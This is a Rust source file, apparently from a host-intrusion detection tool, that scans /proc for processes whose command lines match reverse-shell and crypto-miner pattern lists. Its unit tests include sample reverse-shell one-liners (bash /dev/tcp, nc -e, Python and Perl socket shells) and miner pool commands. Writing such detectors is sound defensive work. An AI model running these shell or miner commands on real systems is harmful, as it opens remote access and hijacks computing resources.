1use super::{DetectionCategory, RecommendedAction, ScanResult, Severity};
11use parking_lot::RwLock;
12use serde::{Deserialize, Serialize};
13use std::collections::HashMap;
14use std::sync::atomic::{AtomicBool, Ordering};
15use std::sync::Arc;
16use std::time::Instant;
17
18const REVERSE_SHELL_PATTERNS: &[&str] = &[
20 "bash -i >& /dev/tcp/",
21 "bash -i >& /dev/udp/",
22 "/bin/sh -i",
23 "nc -e /bin/",
24 "nc -e /bin/bash",
25 "ncat -e /bin/",
26 "python -c 'import socket",
27 "python3 -c 'import socket",
28 "python -c \"import socket",
29 "python3 -c \"import socket",
30 "perl -e 'use Socket",
31 "ruby -rsocket",
32 "php -r '$sock=fsockopen",
33 "socat exec:",
34 "0<&196;exec 196<>/dev/tcp/",
35 "exec 5<>/dev/tcp/",
36 "import pty;pty.spawn",
37 "lua -e \"require('socket\"",
38 "openssl s_client -connect",
39];
40
41const MINER_PATTERNS: &[&str] = &[
43 "stratum+tcp://",
44 "stratum+ssl://",
45 "xmrig",
46 "minerd",
47 "cpuminer",
48 "cryptonight",
49 "ethminer",
50 "nbminer",
51 "phoenixminer",
52 "t-rex",
53 "lolminer",
54 "gminer",
55 "randomx",
56 "kawpow",
57 "pool.minergate",
58 "pool.minexmr",
59 "nicehash",
60];
61
62#[derive(Debug, Clone, Serialize, Deserialize)]
64pub struct ProcessMonitorConfig {
65 pub poll_interval_ms: u64,
66 pub crypto_cpu_threshold: f64,
67 pub crypto_duration_secs: u64,
68 pub allowlist_names: Vec<String>,
69}
70
71impl Default for ProcessMonitorConfig {
72 fn default() -> Self {
73 Self {
74 poll_interval_ms: 2000,
75 crypto_cpu_threshold: 90.0,
76 crypto_duration_secs: 60,
77 allowlist_names: Vec::new(),
78 }
79 }
80}
81
82struct ProcessInfo {
84 pid: u32,
85 name: String,
86 exe: String,
87 cmdline: String,
88 ppid: u32,
89 cpu_ticks: u64,
90 first_seen: Instant,
91 high_cpu_since: Option<Instant>,
92}
93
94pub struct ProcessMonitor {
96 config: ProcessMonitorConfig,
97 known_pids: RwLock<HashMap<u32, ProcessInfo>>,
98 running: Arc<AtomicBool>,
99}
100
101impl ProcessMonitor {
102 pub fn new(config: ProcessMonitorConfig) -> Self {
103 Self {
104 config,
105 known_pids: RwLock::new(HashMap::new()),
106 running: Arc::new(AtomicBool::new(true)),
107 }
108 }
109
110 pub fn scan_once(&self) -> Vec<ScanResult> {
112 let mut results = Vec::new();
113 let mut current_pids: HashMap<u32, ProcessInfo> = HashMap::new();
114
115 let entries = match std::fs::read_dir("/proc") {
117 Ok(e) => e,
118 Err(_) => return results,
119 };
120
121 for entry in entries.flatten() {
122 let name = entry.file_name();
123 let name_str = name.to_string_lossy();
124
125 let pid: u32 = match name_str.parse() {
127 Ok(p) => p,
128 Err(_) => continue,
129 };
130
131 let comm = read_proc_file(pid, "comm")
133 .unwrap_or_default()
134 .trim()
135 .to_string();
136 let cmdline = read_proc_cmdline(pid).unwrap_or_default();
137 let stat = read_proc_file(pid, "stat").unwrap_or_default();
138 let exe = std::fs::read_link(format!("/proc/{}/exe", pid))
139 .map(|p| p.to_string_lossy().to_string())
140 .unwrap_or_default();
141
142 let (ppid, cpu_ticks) = parse_stat_fields(&stat);
144
145 let info = ProcessInfo {
146 pid,
147 name: comm.clone(),
148 exe: exe.clone(),
149 cmdline: cmdline.clone(),
150 ppid,
151 cpu_ticks,
152 first_seen: Instant::now(),
153 high_cpu_since: None,
154 };
155
156 let is_new = !self.known_pids.read().contains_key(&pid);
158
159 if is_new && !cmdline.is_empty() {
160 let cmdline_lower = cmdline.to_lowercase();
162 for pattern in REVERSE_SHELL_PATTERNS {
163 if cmdline_lower.contains(&pattern.to_lowercase()) {
164 results.push(ScanResult::new(
165 "process_monitor",
166 format!("pid:{} ({})", pid, comm),
167 Severity::Critical,
168 DetectionCategory::SuspiciousProcess {
169 pid,
170 name: comm.clone(),
171 },
172 format!(
173 "Reverse shell detected — PID {} ({}) cmdline matches pattern: '{}'",
174 pid, comm, pattern
175 ),
176 0.95,
177 RecommendedAction::KillProcess { pid },
178 ));
179 break;
180 }
181 }
182
183 for pattern in MINER_PATTERNS {
185 if cmdline_lower.contains(&pattern.to_lowercase()) {
186 results.push(ScanResult::new(
187 "process_monitor",
188 format!("pid:{} ({})", pid, comm),
189 Severity::High,
190 DetectionCategory::SuspiciousProcess {
191 pid,
192 name: comm.clone(),
193 },
194 format!(
195 "Crypto miner detected — PID {} ({}) cmdline matches pattern: '{}'",
196 pid, comm, pattern
197 ),
198 0.85,
199 RecommendedAction::KillProcess { pid },
200 ));
201 break;
202 }
203 }
204 }
205
206 if exe.contains("(deleted)") {
208 results.push(ScanResult::new(
209 "process_monitor",
210 format!("pid:{} ({})", pid, comm),
211 Severity::Medium,
212 DetectionCategory::SuspiciousProcess {
213 pid,
214 name: comm.clone(),
215 },
216 format!(
217 "Process running from deleted binary — PID {} ({}) exe: {}",
218 pid, comm, exe
219 ),
220 0.7,
221 RecommendedAction::Alert,
222 ));
223 }
224
225 current_pids.insert(pid, info);
226 }
227
228 *self.known_pids.write() = current_pids;
230
231 results
232 }
233
234 pub fn start(
236 self: Arc<Self>,
237 detection_tx: tokio::sync::mpsc::UnboundedSender<ScanResult>,
238 ) -> tokio::task::JoinHandle<()> {
239 let running = Arc::clone(&self.running);
240 let interval_ms = self.config.poll_interval_ms;
241
242 tokio::spawn(async move {
243 let mut interval =
244 tokio::time::interval(std::time::Duration::from_millis(interval_ms));
245
246 while running.load(Ordering::Relaxed) {
247 interval.tick().await;
248 let results = self.scan_once();
249 for result in results {
250 if detection_tx.send(result).is_err() {
251 return;
252 }
253 }
254 }
255 })
256 }
257
258 pub fn stop(&self) {
260 self.running.store(false, Ordering::Relaxed);
261 }
262}
263
264fn read_proc_file(pid: u32, file: &str) -> Option<String> {
266 std::fs::read_to_string(format!("/proc/{}/{}", pid, file)).ok()
267}
268
269fn read_proc_cmdline(pid: u32) -> Option<String> {
271 let data = std::fs::read(format!("/proc/{}/cmdline", pid)).ok()?;
272 let s: String = data.iter().map(|&b| if b == 0 { ' ' } else { b as char }).collect();
273 Some(s.trim().to_string())
274}
275
276fn parse_stat_fields(stat: &str) -> (u32, u64) {
278 let close_paren = match stat.rfind(')') {
281 Some(i) => i,
282 None => return (0, 0),
283 };
284
285 let fields_str = &stat[close_paren + 2..]; let fields: Vec<&str> = fields_str.split_whitespace().collect();
287
288 let ppid = fields.get(1).and_then(|s| s.parse().ok()).unwrap_or(0);
291 let utime: u64 = fields.get(11).and_then(|s| s.parse().ok()).unwrap_or(0);
292 let stime: u64 = fields.get(12).and_then(|s| s.parse().ok()).unwrap_or(0);
293
294 (ppid, utime + stime)
295}
296
297pub fn matches_reverse_shell(cmdline: &str) -> bool {
299 let lower = cmdline.to_lowercase();
300 REVERSE_SHELL_PATTERNS
301 .iter()
302 .any(|p| lower.contains(&p.to_lowercase()))
303}
304
305pub fn matches_miner(cmdline: &str) -> bool {
307 let lower = cmdline.to_lowercase();
308 MINER_PATTERNS
309 .iter()
310 .any(|p| lower.contains(&p.to_lowercase()))
311}
312
313#[cfg(test)]
314mod tests {
315 use super::*;
316
317 #[test]
318 fn reverse_shell_bash_tcp() {
319 assert!(matches_reverse_shell("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"));
320 }
321
322 #[test]
323 fn reverse_shell_nc() {
324 assert!(matches_reverse_shell("nc -e /bin/bash 10.0.0.1 4444"));
325 }
326
327 #[test]
328 fn reverse_shell_python() {
329 assert!(matches_reverse_shell(
330 "python3 -c 'import socket,subprocess,os;s=socket.socket('"
331 ));
332 }
333
334 #[test]
335 fn reverse_shell_perl() {
336 assert!(matches_reverse_shell("perl -e 'use Socket;$i=\"10.0.0.1\"'"));
337 }
338
339 #[test]
340 fn clean_cmdline_passes() {
341 assert!(!matches_reverse_shell("vim /etc/nginx/nginx.conf"));
342 assert!(!matches_reverse_shell("cargo build --release"));
343 assert!(!matches_reverse_shell("node server.js"));
344 }
345
346 #[test]
347 fn miner_xmrig() {
348 assert!(matches_miner("./xmrig --url stratum+tcp://pool.minexmr.com:4444"));
349 }
350
351 #[test]
352 fn miner_stratum() {
353 assert!(matches_miner("miner --pool stratum+ssl://us-east.stratum.slushpool.com"));
354 }
355
356 #[test]
357 fn normal_process_not_miner() {
358 assert!(!matches_miner("python3 train_model.py --epochs 100"));
359 assert!(!matches_miner("gcc -O2 main.c -o main"));
360 }
361
362 #[test]
363 fn config_defaults() {
364 let config = ProcessMonitorConfig::default();
365 assert_eq!(config.poll_interval_ms, 2000);
366 assert_eq!(config.crypto_cpu_threshold, 90.0);
367 assert_eq!(config.crypto_duration_secs, 60);
368 }
369
370 #[test]
371 fn parse_stat_valid() {
372 let stat = "1234 (my process) S 1 1234 1234 0 -1 4194304 500 0 0 0 100 50 0 0 20 0 1 0 100 1000000 100 18446744073709551615 0 0 0 0 0 0 0 0 0";
373 let (ppid, ticks) = parse_stat_fields(stat);
374 assert_eq!(ppid, 1);
375 assert_eq!(ticks, 150); }
377
378 #[test]
379 fn parse_stat_with_parens_in_name() {
380 let stat = "5678 (my (weird) proc) S 42 5678 5678 0 -1 0 0 0 0 0 200 30 0 0 20 0 1 0 0 0 0 0 0 0 0 0 0 0 0";
381 let (ppid, ticks) = parse_stat_fields(stat);
382 assert_eq!(ppid, 42);
383 assert_eq!(ticks, 230); }
385
386 #[test]
387 fn deleted_exe_pattern() {
388 let exe = "/usr/bin/evil (deleted)";
389 assert!(exe.contains("(deleted)"));
390 }
391
392 #[test]
393 fn scan_once_runs_without_crash() {
394 let monitor = ProcessMonitor::new(ProcessMonitorConfig::default());
395 let results = monitor.scan_once();
396 let _ = results;
398 }
399}